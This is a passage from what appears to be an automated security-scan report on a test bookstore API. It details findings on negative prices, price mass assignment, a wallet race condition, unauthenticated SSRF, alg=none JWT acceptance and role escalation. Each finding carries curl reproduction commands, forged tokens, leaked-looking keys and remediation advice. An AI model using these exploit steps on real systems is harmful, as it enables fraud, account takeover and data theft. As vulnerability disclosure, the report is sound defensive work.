{"title": "NegPrice", "author": "Test", "isbn": "9780000099999", "genre": "Fiction",
"price_cents": -5000}
```

Observed:

```
POST /api/books with price_cents=-5000 creates a book with negative price. Ordering
this book returns total_cents=-5000, status=paid, and credits the user's wallet with
5000 credits. Before: credits=0, after ordering: credits=5000. Any user can create
unlimited credits by creating negative-priced books and ordering them.
```

HTTP TRANSACTION

REQUEST

```
POST /api/orders HTTP/1.1
Host: marginalia.testinvicti.com
Content-Type: application/json
Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjIzMTAsInJvbGUiOiJtZW1iZXIi...}

{"book_id":24,"quantity":1}
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 46

{"id":119,"total_cents":-5000,"status":"paid"}
```

STEPS TO REPRODUCE

1. Register a new account and capture the JWT token:

   ```
   curl -X POST https://marginalia.testinvicti.com/api/auth/register \
     -H "Content-Type: application/json" \
     -d '{"username":"negtest","email":"negtest@test.com","password":"TestPass123!"}'
   ```

   The response contains a `token` field. Save it for subsequent requests.

2. Confirm the account starts with zero credits:

   ```
   curl https://marginalia.testinvicti.com/api/me \
     -H "Authorization: Bearer <TOKEN>"
   ```

   The response shows `"credits":0`.

3. Create a book with a negative price:

   ```
   curl -X POST https://marginalia.testinvicti.com/api/books \
     -H "Content-Type: application/json" \
     -H "Authorization: Bearer <TOKEN>" \
     -d
   '{"title":"NegPrice","author":"Test","isbn":"9780000099999","genre":"Fiction","price
   _cents":-5000}'
   ```

   The server returns a 200 response with the new book ID. Note the `id` value.

4. Order the negative-price book:

   ```
   curl -X POST https://marginalia.testinvicti.com/api/orders \
     -H "Content-Type: application/json" \
     -H "Authorization: Bearer <TOKEN>" \
     -d '{"book_id":<BOOK_ID>,"quantity":1}'
   ```

   The server responds with `"total_cents":-5000,"status":"paid"`. The negative total credits the wallet.

5. Verify the wallet balance increased:

   ```
   curl https://marginalia.testinvicti.com/api/me \
     -H "Authorization: Bearer <TOKEN>"
   ```

   The response shows `"credits":5000`. Repeat the order to accumulate unlimited credits.

SEVERITY JUSTIFICATION

The vulnerability requires only low privileges (any registered user). It allows unlimited financial manipulation through integrity compromise of the wallet system. The CVSS vector reflects network access, low complexity, no special requirements, and high integrity impact on the vulnerable system. The direct financial fraud capability justifies critical severity.

DISCOVERY & EXPLOITATION

The `POST /api/books` endpoint accepts a `price_cents` field without any server-side constraint on sign or magnitude. Because the application treats this field as a trusted integer and propagates it directly into order total calculations, supplying a negative value inverts the payment direction: the order system computes a negative total and the payment layer interprets that negative balance as a credit, depositing the absolute value into the user's wallet. The flaw is architectural — the API has no schema-level or business-logic-level assertion that a price must be a positive integer, and book creation is not restricted to privileged roles, meaning any authenticated user can introduce arbitrarily priced catalog entries.

What distinguishes this from sibling vulnerabilities targeting the order pipeline (INV-4, INV-49, INV-17) is the attack surface: rather than manipulating parameters on an existing order, an authenticated attacker manufactures the malicious precondition by creating a catalog entry with a negative price, then exploits the normal order flow against it. This makes the attack self-contained and repeatable without any dependency on existing catalog data. Validation confirmed that ordering a book priced at -5000 cents produces an order with `total_cents: -5000` and a status of `paid`, and that repeating the order compounds the wallet balance linearly with no server-side rate limit or ceiling.

IMPACT

An attacker generates unlimited store credits from a zero-balance account. The attacker can use these credits to purchase any book in the catalog at no cost. This undermines the entire payment model and causes direct financial loss. In a production environment, this enables large-scale fraud.

REMEDIATION

1. Validate `price_cents` on the server side in the POST /api/books handler. Reject any value less than or equal to zero with a 422 response.
2. Add a server-side check in the POST /api/orders handler to reject orders where the computed `total_cents` is negative.
3. Restrict book creation to admin or privileged roles. Regular members should not create catalog entries.
4. Add an integration test that submits negative, zero, and boundary `price_cents` values and asserts they are rejected.
5. Implement a schema validation layer (e.g., Pydantic `Field(gt=0)`) for all monetary fields across the API to prevent similar issues.

INV-4

Mass Assignment in unit_price_cents via Order Creation

CRITICAL

SEVERITY	CATEGORY	CWE
Critical	Insecure Design	CWE-915

ENDPOINT

`https://marginalia.testinvicti.com/api/orders`

PARAMETER

`unit_price_cents:client-supplied-price-accepted`

CVSS 4.0

7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

VULNERABILITY DESCRIPTION

The POST /api/orders endpoint accepts a client-supplied `unit_price_cents` field in the JSON request body. The server uses this value directly to compute `total_cents` instead of looking up the canonical price from the book catalog. Book ID 1 has a server-side price of 1499 cents ($14.99). A request with `unit_price_cents` set to 1 produces an order with `total_cents` of 1 cent and `status` of `paid`. The server also accepts zero and negative values. A request with `unit_price_cents` set to -100 produces an order with `total_cents` of -100 and `status` of `paid`. The API does not validate that the submitted price matches the catalog price for the requested book.

EVIDENCE

Payload used:

```
{"book_id": 1, "quantity": 1, "unit_price_cents": 1}
```

Observed:

```
POST /api/orders with {"book_id":1,"quantity":1,"unit_price_cents":1} returns
{"id":76,"total_cents":1,"status":"paid"}. The server accepts client-supplied
unit_price_cents and uses it to compute total_cents. Normal price for book_id=1 is 1499
cents ($14.99). With unit_price_cents=1, the order costs 1 cent instead. Order detail
confirms: unit_price_cents=1, total_cents=1, status=paid.
```

HTTP TRANSACTION

REQUEST

```
POST /api/orders HTTP/1.1
Host: marginalia.testinvicti.com
Content-Type: application/json
Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjIyODcsInJvbGUiOiJtZW1iZXIiLCJpYXQiOjE3OT
M2NjI1NzcsImV4cCI6MTc5Mzc0ODk3N30.90c8gS8ZUtkMOBSotjeOK0SJgafcZK7ZFnoTIHW55Tw
```

```
{"book_id":1,"quantity":1,"unit_price_cents":1}
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 41

{"id":85,"total_cents":1,"status":"paid"}
```

STEPS TO REPRODUCE

1. Register a new account and obtain a JWT token:

   ```
   curl -X POST https://marginalia.testinvicti.com/api/auth/register \
     -H 'Content-Type: application/json' \
     -d
   '{"username":"testuser_repro","email":"repro@test.com","password":"TestPass123!"}'
   ```

   The server returns a JSON object containing a `token` field.

2. Send an order request with a manipulated `unit_price_cents` of 1 cent:

   ```
   curl -X POST https://marginalia.testinvicti.com/api/orders \
     -H 'Content-Type: application/json' \
     -H 'Authorization: Bearer <token_from_step_1>' \
     -d '{"book_id":1,"quantity":1,"unit_price_cents":1}'
   ```

   The server responds with `{"id":<N>,"total_cents":1,"status":"paid"}`. The book costs 1499 cents ($14.99) but the order total is 1 cent.

3. Send a control order without the `unit_price_cents` field:

   ```
   curl -X POST https://marginalia.testinvicti.com/api/orders \
     -H 'Content-Type: application/json' \
     -H 'Authorization: Bearer <token_from_step_1>' \
     -d '{"book_id":1,"quantity":1}'
   ```

   The server responds with `{"id":<N>,"total_cents":1499,"status":"paid"}`, confirming the correct price is 1499.

4. Verify the manipulated order persisted correctly:

   ```
   curl https://marginalia.testinvicti.com/api/orders/<order_id_from_step_2> \
     -H 'Authorization: Bearer <token_from_step_1>'
   ```

   The response shows `unit_price_cents` is 1 and `total_cents` is 1, confirming the server stored the manipulated price.

SEVERITY JUSTIFICATION

The vulnerability allows any authenticated user to set arbitrary prices on orders, causing direct financial loss. Attack complexity is low and requires no user interaction. Integrity impact is high because the attacker controls the price stored in the order system. The CVSS vector reflects network access, low privileges, and high integrity impact on the vulnerable system.

DISCOVERY & EXPLOITATION

The order creation endpoint accepts a `unit_price_cents` field in the client-supplied JSON body and uses that value directly to compute `total_cents`, bypassing any server-side catalog price lookup. The root cause is a mass assignment flaw: the API deserializes the full request body into the order model without restricting which fields the client may set, so price becomes a client-controlled input rather than a server-authoritative value. The server performs no reconciliation between the submitted price and the canonical price stored in the book catalog for the requested `book_id`.

An authenticated attacker exploits this by submitting any positive, zero, or negative integer as `unit_price_cents`. Setting the value to 1 produces a fully paid order at $0.01 for a $14.99 book. Setting it to a negative value such as -100 produces a paid order with a negative total, which the server records without rejection, creating a pathway to credit balance inflation or accounting corruption. Unlike the sibling zero-quantity vulnerability (INV-49), which requires a boundary-value edge case, this attack directly controls the monetary amount and works across any book in the catalog with a single well-formed request.

IMPACT

An authenticated attacker can purchase any book for an arbitrary price, including zero or negative amounts. This causes direct financial loss on every manipulated order. Negative prices could create credit balances or corrupt accounting records. The attack requires only a valid user account and a single HTTP request.

REMEDIATION

1. Remove `unit_price_cents` from the accepted request body schema in the order creation endpoint. Retrieve the price from the server-side book catalog using `book_id`.
2. Compute `total_cents` on the server as `catalog_price * quantity`. Never trust client-supplied price or total values.
3. Add a Pydantic model for the order request that includes only `book_id`, `quantity`, and optional fields like `coupon_code`. Exclude all price-related fields.
4. Add server-side validation that rejects orders where `total_cents` is zero or negative.
5. Add integration tests that send requests with extra fields like `unit_price_cents` and verify the server ignores them.

INV-5

Race Condition in Wallet Transfer via Concurrent Requests

CRITICAL

SEVERITY	CATEGORY	CWE
Critical	Insecure Design	CWE-362

ENDPOINT

`https://marginalia.testinvicti.com/api/wallet/transfer`

PARAMETER

`transfer:race-condition-double-spend`

CVSS 4.0

7.0 CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N

VULNERABILITY DESCRIPTION

The `/api/wallet/transfer` endpoint does not enforce atomic balance checks. The server reads the sender's credit balance and compares it to the requested transfer amount, but it does not hold a lock during the deduction. When an attacker sends many concurrent transfer requests, several pass the balance check before any deduction is committed. This allows the sender to transfer more credits than they own. In the observed exploit, a sender with 10000 credits sent 30 concurrent transfers of 10000 credits each to two recipients. Two or more transfers succeeded, distributing 20000 credits total. The sender's balance dropped to -10000, which means 10000 credits were created from nothing. The application uses SQLite, which supports serializable transactions, but the transfer logic does not use them correctly.

EVIDENCE

Payload used:

```
Concurrent POST /api/wallet/transfer with full balance to multiple recipients
```

Observed:

```
Race condition in wallet transfer allows double-spending. Sender had 5000 credits. 15
concurrent transfers of 5000 each fired: 2 succeeded (to uid 2325 and 2326). Recv1
received 5000, Recv2 received 5000 (total 10000). Sender balance went to -5000. Net
gain: 5000 credits created from nothing. The balance check is not atomic with the
deduction.
```

HTTP TRANSACTION

REQUEST

```
GET /api/me HTTP/1.1
Host: marginalia.testinvicti.com
Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjIzNDgsInJvbGUiOiJtZW1iZXIiLCJpYXQiOjE3OT
M2NjMyMjgsImV4cCI6MTc5Mzc0OTYyOH0.GEQtzgj-3TfyzpuwIWZPnEM9qofGBvuGj-o_UyP8zQE
Accept: */*
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 114

{"id":2348,"username":"val_d5bccfdece4a","email":"val_d5bccfdece4a@test.invalid","role"
:"member","credits":-10000}
```

STEPS TO REPRODUCE

1. Register three test users (sender, recipient1, recipient2) and authenticate each to obtain JWT tokens. Fund the sender account with a known credit balance (e.g., 10000 credits).
2. Send 15 concurrent transfer requests to recipient1 and 15 concurrent transfer requests to recipient2, all from the sender's account, each for the full balance. Use a tool like `xargs` or GNU `parallel`:

   ```
   for i in $(seq 1 15); do
     curl -s -X POST https://marginalia.testinvicti.com/api/wallet/transfer \
       -H 'Content-Type: application/json' \
       -H 'Authorization: Bearer <SENDER_JWT>' \
       -d '{"amount_cents": 10000, "to_id": <RECIPIENT1_ID>}' &
     curl -s -X POST https://marginalia.testinvicti.com/api/wallet/transfer \
       -H 'Content-Type: application/json' \
       -H 'Authorization: Bearer <SENDER_JWT>' \
       -d '{"amount_cents": 10000, "to_id": <RECIPIENT2_ID>}' &
   done
   wait
   ```

   Multiple transfers succeed despite the sender having insufficient funds for more than one.
3. Verify the sender's balance is now negative:

   ```
   curl -s https://marginalia.testinvicti.com/api/me \
     -H 'Authorization: Bearer <SENDER_JWT>'
   ```

   The response shows `"credits":-10000`, confirming the double-spend. The total credits distributed to recipients (20000) exceeds the original balance (10000).

SEVERITY JUSTIFICATION

The race condition allows authenticated users to create arbitrary credits, destroying the integrity of the financial system. Attack complexity is low because standard concurrent HTTP requests suffice, though timing must align (AT:P). The integrity impact on both the vulnerable system and downstream systems is high. No confidentiality or availability impact exists. This warrants critical severity because it enables unlimited financial fraud.

DISCOVERY & EXPLOITATION

The vulnerability exists because the `/api/wallet/transfer` endpoint performs a read-then-write balance check without holding a database lock between the two operations. The server reads the sender's current credit balance, validates that it covers the requested transfer amount, and then issues the deduction as a separate, unguarded write. Because SQLite's serializable transaction support is not applied to this logic, multiple concurrent requests can each pass the balance check against the same stale balance before any deduction is committed to disk. The result is that the deduction step executes multiple times against a balance that has not yet reflected prior subtractions.

An authenticated attacker exploits this by fanning out a large number of simultaneous transfer requests within a narrow timing window. No special privileges or tooling are required beyond the ability to issue concurrent HTTP requests, a capability available to any scripted client. The confirmed replay demonstrated a sender holding 10,000 credits successfully distributing 20,000 credits across 2 recipients, driving their own balance to -10,000 and creating 10,000 credits from nothing. Unlike the sibling business logic vulnerabilities that exploit missing server-side input validation, this vulnerability is a concurrency defect: the inputs are individually valid, but the absence of atomic transaction semantics allows their combined effect to violate the system's own balance invariant.

IMPACT

An attacker can create unlimited credits by exploiting the race condition. This breaks the integrity of the entire credit economy. Attackers can purchase goods or services without paying. Legitimate users lose trust in the platform's financial system. The negative balance state also indicates the application has no constraint preventing impossible account states.

REMEDIATION

1. Wrap the balance check and deduction in a single serializable database transaction using `SELECT ... FOR UPDATE` or SQLite's `BEGIN IMMEDIATE` to prevent concurrent reads of stale balances.
2. Add a database-level `CHECK` constraint on the credits column: `CHECK (credits >= 0)` to prevent negative balances at the storage layer.
3. Implement an application-level mutex or advisory lock per sender account so only one transfer per sender executes at a time.
4. Add rate limiting on the `/api/wallet/transfer` endpoint to reduce the window for concurrent exploitation.
5. Adopt optimistic concurrency control with a version column on the wallet row, rejecting transfers when the version has changed since the balance was read.

INV-6

Missing Authentication on Admin Diagnostics Endpoint

CRITICAL

SEVERITY	CATEGORY	CWE
Critical	Broken Access Control	CWE-306

ENDPOINT

`https://marginalia.testinvicti.com/api/admin/diagnostics`

PARAMETER	CVSS 4.0
authorization	9.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N

VULNERABILITY DESCRIPTION

The /api/admin/diagnostics endpoint accepts unauthenticated GET requests and returns HTTP 200 with a full JSON response. Sibling admin endpoints /api/admin/users and /api/admin/orders correctly return HTTP 401 with {"detail":"unauthenticated"} when called without credentials. This proves the application enforces an admin authentication boundary, but the diagnostics endpoint was excluded from that enforcement. The endpoint also accepts a `host` query parameter that causes the server to make an outbound HTTP request to the specified address and return the full response body. An unauthenticated attacker can use this Server-Side Request Forgery capability to reach internal services on 127.0.0.1 and private network hosts. A request to 127.0.0.1:8000/internal/ops/summary returned internal hostnames, database paths, peer node addresses, a metrics collector token, a deploy key fingerprint, admin email addresses, and a password reset token.

EVIDENCE

Payload used:

```
unauthenticated request
```

Observed:

```
GET /api/admin/diagnostics returns 200 with full SSRF-capable diagnostics to
unauthenticated callers. The response includes server-side HTTP fetch results (host,
reachable, status_code, content_type, bytes, body). Sibling admin endpoints
/api/admin/users and /api/admin/orders correctly return 401 'unauthenticated', proving
the admin role boundary exists but is not enforced on this endpoint. Via the host
parameter, unauthenticated callers can reach internal endpoints exposing: internal
hostnames (mgl-app-01.internal), DB paths, admin emails, peer nodes, metrics collector
tokens, deploy key fingerprints, and password reset tokens.
```

HTTP TRANSACTION

REQUEST

```
GET /api/admin/diagnostics HTTP/1.1
Host: marginalia.testinvicti.com
Accept: */*
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 2313

{"host":"127.0.0.1:8000","reachable":true,"status_code":200,"content_type":"text/html;
charset=utf-8","location":"","bytes":6034,"body":"<!doctype html>\n<html lang=\"en\">
<head>\n<meta charset=\"utf-8\">\n<title>Catalogue · Marginalia</title>\n[... truncated
...]"}

--- SSRF with host parameter ---
GET /api/admin/diagnostics?host=127.0.0.1:8000/internal/ops/summary

{"host":"127.0.0.1:8000/internal/ops/summary","reachable":true,"status_code":200,"conte
nt_type":"application/json","bytes":665,"body":"{\"node\":\"mgl-app-
01.internal\",\"peers\":[\"mgl-app-02.internal:8000\",\"mgl-jobs-
01.internal:9000\"],\"collector\":
{\"token\":\"mgl_internal_collector_5f1c9ab27e\"},\"password_reset\":
{\"email\":\"ops@marginalia.club\",\"token\":\"aad037ddc82a75f7ff4f6b3b\",\"confirm_end
point\":\"/api/auth/reset/confirm\"}}"}
```

STEPS TO REPRODUCE

1. Send a GET request to the admin diagnostics endpoint without any authentication:

   ```
   curl -s -D - "https://marginalia.testinvicti.com/api/admin/diagnostics"
   ```

   The server responds with HTTP 200 and a JSON body containing `"reachable":true`, `"status_code":200`, and the fetched page body.

2. Confirm that sibling admin endpoints enforce authentication by sending an unauthenticated request:

   ```
   curl -s -D - "https://marginalia.testinvicti.com/api/admin/users"
   ```

   The server responds with HTTP 401 and `{"detail":"unauthenticated"}`.

3. Exploit the SSRF by supplying the `host` parameter to reach an internal endpoint:

   ```
   curl -s "https://marginalia.testinvicti.com/api/admin/diagnostics?
   host=127.0.0.1:8000/internal/ops/summary"
   ```

   The server responds with HTTP 200 and the `body` field contains the internal ops summary JSON, including password reset tokens, internal hostnames, collector tokens, and deploy key fingerprints.

SEVERITY JUSTIFICATION

The endpoint requires no authentication (PR:N) and no user interaction (UI:N). It exposes high-confidentiality data from the vulnerable system (password reset tokens, internal credentials) and

enables integrity impact through account takeover via the stolen reset token. The SSRF reaches subsequent internal systems with high confidentiality and integrity impact. This warrants critical severity.

DISCOVERY & EXPLOITATION

The `/api/admin/diagnostics` endpoint was excluded from the authentication middleware applied to all sibling admin routes. Where `/api/admin/users` and `/api/admin/orders` return HTTP 401 for unauthenticated requests, the diagnostics endpoint returns HTTP 200 with a full JSON payload. The compounding factor is the `host` query parameter: the server accepts an arbitrary address, issues an outbound HTTP request to that address from its own network context, and returns the full response body to the caller. This Server-Side Request Forgery capability is not a secondary concern — it transforms a missing authentication check into a pivot point into the internal network, reachable by any internet-connected attacker without credentials.

An unauthenticated attacker targeting the application's internal infrastructure would supply loopback or RFC-1918 addresses to the `host` parameter, enumerating services unreachable from the public internet. The confirmed request to `127.0.0.1:8000/internal/ops/summary` returned a live password reset token for `ops@marginalia.club`, a metrics collector token, peer node addresses, and a deploy key fingerprint. The reset token is directly redeemable at `/api/auth/reset/confirm`, converting infrastructure reconnaissance into full administrative account takeover in a single additional request.

IMPACT

An unauthenticated attacker can read internal infrastructure details including peer node addresses (mgl-app-02.internal:8000, mgl-jobs-01.internal:9000), the database path, and admin email addresses. The attacker can steal a valid password reset token for ops@marginalia.club and use it at /api/auth/reset/confirm to take over an admin account. The exposed metrics collector token (mgl_internal_collector_5f1c9ab27e) allows writing to the internal metrics endpoint. The deploy key fingerprint leaks information about the deployment infrastructure. The SSRF capability allows scanning and interacting with any service reachable from the application server.

REMEDIATION

1. Add authentication and admin-role authorization checks to the `/api/admin/diagnostics` endpoint, matching the enforcement on `/api/admin/users` and `/api/admin/orders`.
2. Remove or restrict the `host` parameter so the endpoint cannot make arbitrary outbound HTTP requests. If diagnostics require connectivity checks, use an allowlist of permitted internal hosts.
3. Rotate all exposed secrets: the password reset token for ops@marginalia.club, the metrics collector token `mgl_internal_collector_5f1c9ab27e`, and any deploy keys matching the leaked fingerprint.
4. Move the `/internal/ops/summary` endpoint behind a separate network segment or firewall rule so it is not reachable from the application server's loopback interface.
5. Add integration tests that verify all `/api/admin/*` endpoints return 401 for unauthenticated requests to prevent future regressions.

INV-7

Broken Function-Level Authorization on Admin User Listing via JWT

CRITICAL

SEVERITY	CATEGORY	CWE
Critical	Broken Access Control	CWE-285

ENDPOINT

`https://marginalia.testinvicti.com/api/admin/users`

PARAMETER	CVSS 4.0
authorization	9.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N

VULNERABILITY DESCRIPTION

The server accepts JWTs with the `alg=none` algorithm and does not verify signatures. A forged JWT carrying `role=member` grants access to the admin-only endpoint `/api/admin/users`. The server returns the complete user database (1119 records) including `password_hash`, live `api_key` values prefixed with `mk_live_`, email addresses, phone numbers, and physical addresses. The endpoint name "Admin Users" and its `/api/admin/` namespace indicate an admin-only boundary. The server enforces authentication (unauthenticated requests receive HTTP 401) but does not enforce role-based authorization. Any user who can craft a JWT with an arbitrary `sub` claim and `alg=none` bypasses both signature verification and role checks.

EVIDENCE

Payload used:

```
Bearer
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOjIsInJvbGUiOiJtZW1iZXIiLCJleHAiOjk5OTk5OTk
5OTl9.
```

Observed:

```
A JWT with alg=none and role=member (sub=2) returns HTTP 200 with 1112 user records
including password_hash, api_key (mk_live_...), phone, address for every user. Without
authentication the same endpoint returns 401 "unauthenticated". The /api/admin/
namespace and "Admin Users" operation name establish an admin-only boundary that is not
enforced at the role level.
```

HTTP TRANSACTION

REQUEST

```
GET /api/admin/users HTTP/1.1
Host: marginalia.testinvicti.com
Accept: */*
Authorization: Bearer
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOjIsInJvbGUiOiJtZW1iZXIiLCJleHAiOjk5OTk5OTk
5OTl9.
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 384969
set-cookie: mgl_session=0c2990bdfae142168c9f7d4c9fdbca3d; HttpOnly; Max-Age=7200;
Path=/; SameSite=lax

{"users":
[{"id":1,"username":"admin","email":"ops@marginalia.club","password_hash":"e3b0c44298fc
1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","role":"admin","api_key":"mk_live
_9f2c1a7be4d84c0f9a1b3e6d7c208f11","credits":500201,"full_name":"Eleanor
Vance","phone":"+1-415-555-0142","address":"2261 Market St, San Francisco, CA
94114","bio":"Keeper of the stacks.","avatar_url":null,"created_at":1700000000},
{"id":2,"username":"curator_rhys","email":"rhys@marginalia.club","password_hash":"c4bbc
b1fbec99d65bf59d85c8cb62ee2db963f0fe106f483d9afa73bd4e39a8a","role":"librarian","api_ke
y":"mk_live_2b7d4e19a0c34f8e91d5c6a3b7e01f42","credits":12202,...}]}
[... truncated ... 1119 total user records]
```

STEPS TO REPRODUCE

1. Send a GET request to the admin endpoint without authentication and confirm it is protected:

   ```
   curl -i https://marginalia.testinvicti.com/api/admin/users
   ```

   The server responds with HTTP 401 and `{"detail":"unauthenticated"}`.

2. Send a GET request with a forged JWT that uses `alg=none` and `role=member`:

   ```
   curl -i https://marginalia.testinvicti.com/api/admin/users \
     -H "Authorization: Bearer
   eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOjIsInJvbGUiOiJtZW1iZXIiLCJleHAiOjk5OTk5
   OTk5OTl9."
   ```

   The server responds with HTTP 200 and a JSON body containing over 1100 user records. Each record includes `password_hash`, `api_key` (prefixed `mk_live_`), `email`, phone, and `address`.

3. Verify the response contains the admin user's live API key `mk_live_9f2c1a7be4d84c0f9a1b3e6d7c208f11` and password hash, confirming full data exposure despite the caller's `member` role claim.

SEVERITY JUSTIFICATION

The attack requires no privileges because the server accepts unsigned JWTs (PR:N). It exposes all user password hashes, live API keys, and PII (VC:H). The leaked admin API key and credentials enable full account takeover across the platform (SC:H, SI:H). No user interaction or special conditions are needed (UI:N, AC:L, AT:N). This warrants critical severity.

DISCOVERY & EXPLOITATION

The vulnerability exists at the intersection of 2 independent authorization failures: the JWT library accepts tokens specifying `alg=none`, bypassing signature verification entirely, and the `/api/admin/users` endpoint performs no role-based access check after authentication succeeds. Because the server trusts the `role` claim embedded in an unsigned token, any caller can self-assert any role. The authentication boundary is present — unauthenticated requests correctly receive HTTP 401 — but the role enforcement layer is absent, meaning the only real gate is the ability to construct a syntactically valid JWT, which requires no secret material.

Unlike sibling vulnerabilities in this class that expose individual objects through predictable identifiers, this endpoint exposes the entire user database in a single unauthenticated request. An unauthenticated attacker crafts a JWT with `alg=none` and an arbitrary `sub` claim, presents it to the endpoint, and receives all 1,119 user records in a single 385 KB response containing password hashes, live API keys, and full PII. No account registration, no prior session, and no brute-force enumeration is required.

IMPACT

An attacker obtains password hashes for all 1119 users, enabling offline cracking and credential-stuffing attacks. Live API keys (`mk_live_*`) allow the attacker to impersonate any user in external integrations. Exposed PII (email, phone, home address) creates regulatory liability under GDPR and CCPA. The admin account's credentials and API key grant full administrative control over the application.

REMEDIATION

1. Reject JWTs that use `alg=none` by configuring the JWT library to require a specific algorithm such as `HS256` or `RS256` with an explicit `algorithms` allowlist.
2. Enforce role-based authorization on `/api/admin/*` endpoints so that only users with `role=admin` can access them.
3. Remove `password_hash` and `api_key` from the user listing response; return only the fields the admin UI requires.
4. Rotate all exposed API keys (`mk_live_*`) and force a password reset for every user whose hash was disclosed.
5. Add automated tests in CI that verify non-admin JWTs receive HTTP 403 on all admin endpoints.

INV-8

Mass Assignment in role and credits via PATCH

CRITICAL

SEVERITY	CATEGORY	CWE
Critical	Broken Access Control	CWE-915

ENDPOINT

`https://marginalia.testinvicti.com/api/users/me`

PARAMETER	CVSS 4.0
`role`	9.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N

VULNERABILITY DESCRIPTION

The PATCH /api/users/me endpoint accepts arbitrary JSON properties because its OpenAPI schema sets `additionalProperties: true`. An authenticated member can include `role` and `credits` fields in the request body. The server applies these values without authorization checks. A member who sends `{"role":"admin","credits":99999}` receives HTTP 200 with the escalated role and credit balance persisted. The new admin role grants access to /api/admin/users, which returns every user record including `password_hash` and `api_key` fields.

EVIDENCE

Payload used:

```
{"username":"massassigntest","role":"admin","credits":77777}
```

Observed:

```
A member-role user (id:2083) sent PATCH /api/users/me with role=admin and
credits=77777. The response returned HTTP 200 with
{\"role\":\"admin\",\"credits\":77777}. GET /api/users/2083 confirmed persistence: role
changed from member to admin and credits changed from 12345 to 77777. The user could
then access /api/admin/users returning all users' password_hash and api_key fields.
```

HTTP TRANSACTION

REQUEST

```
PATCH /api/users/me HTTP/1.1
Host: marginalia.testinvicti.com
Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjIwODMsInJvbGUiOiJtZW1iZXIiLCJpYXQiOjE3OT
M2NTczMjIsImV4cCI6MTc5Mzc0MzcyMn0.JW639VkLTJ44ExKdfaVYE6z5KGJLRVGOjLb-QJnSyPg
Content-Type: application/json
Content-Length: 60

{"username":"massassigntest","role":"admin","credits":77777}
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 107

{"id":2083,"username":"massassigntest","role":"admin","credits":77777,"email":"testmass
assign@example.com"}
```

STEPS TO REPRODUCE

1. Register a new account to obtain a member-role JWT:

   ```
   curl -L -X POST https://marginalia.testinvicti.com/api/auth/register \
     -H 'Content-Type: application/json' \
     -d
   '{"username":"testuser","email":"testuser@example.com","password":"TestPass123!"}'
   ```

   The server returns a JSON object containing `token` with a JWT where `role` is `member`.

2. Send a PATCH request to escalate the role and set arbitrary credits:

   ```
   curl -L -X PATCH https://marginalia.testinvicti.com/api/users/me \
     -H 'Authorization: Bearer <TOKEN_FROM_STEP_1>' \
     -H 'Content-Type: application/json' \
     -d '{"role":"admin","credits":99999}'
   ```

   The server responds with HTTP 200 and a JSON body containing `"role":"admin"` and `"credits":99999`.

3. Confirm admin access by requesting the admin user listing:

   ```
   curl -L https://marginalia.testinvicti.com/api/admin/users \
     -H 'Authorization: Bearer <TOKEN_FROM_STEP_1>'
   ```

   The server returns HTTP 200 with all user records, including `password_hash` and `api_key` fields for every user.

SEVERITY JUSTIFICATION

The attack requires only low privileges (any authenticated member). It has no complexity or user interaction requirements. The attacker gains full admin access, exposing all users' password hashes and API keys (high confidentiality impact on both vulnerable and subsequent systems) and can modify any user's role and credits (high integrity impact). The CVSS 4.0 vector scores 9.4, consistent with critical severity.

DISCOVERY & EXPLOITATION

The vulnerability exists because the `PATCH /api/users/me` endpoint's request body is deserialized against an OpenAPI schema with `additionalProperties: true`, meaning the server accepts and persists any JSON property the client submits, including privileged fields such as `role` and `credits`. No server-side authorization check validates whether the authenticated caller is permitted to modify these

fields before the ORM writes them to the database. The result is a textbook mass assignment condition: the application's update logic treats all submitted properties as equally mutable, regardless of their security sensitivity.

What distinguishes this vulnerability from the object-level access control failures covered by sibling findings is the privilege escalation vector. Rather than accessing another user's data, an attacker uses their own authenticated session to rewrite their own account's `role` field to `admin`. That single PATCH request collapses the entire authorization boundary: the escalated account immediately satisfies every admin role check across the platform, including the `/api/admin/users` endpoint, which returns full user records containing `password_hash` and `api_key` fields for every registered account.

IMPACT

Any authenticated member can escalate to admin by setting `role` to `admin`. The attacker gains full administrative access to the platform. The /api/admin/users endpoint exposes all users' password hashes, API keys, email addresses, phone numbers, and physical addresses. The attacker can also set arbitrary credit balances, causing direct financial loss.

REMEDIATION

1. Define an explicit allowlist of mutable fields on the PATCH /api/users/me endpoint (e.g., `username`, `email`, `bio`). Reject or strip `role`, `credits`, and any other privileged properties from the request body.
2. Set `additionalProperties: false` in the Pydantic model or OpenAPI schema for the user-update payload so the framework rejects unknown fields automatically.
3. Add server-side authorization checks that verify the caller's current role before allowing changes to privileged fields such as `role` or `credits`.
4. Restrict the /api/admin/users response to exclude sensitive fields like `password_hash` and `api_key`, or require a separate admin-only scope.
5. Add integration tests that assert a member-role JWT cannot modify `role` or `credits` via PATCH /api/users/me.

INV-9

Weak Cryptography in JWT Verification via Algorithm None

CRITICAL

SEVERITY	CATEGORY	CWE
Critical	Broken Authentication	CWE-327

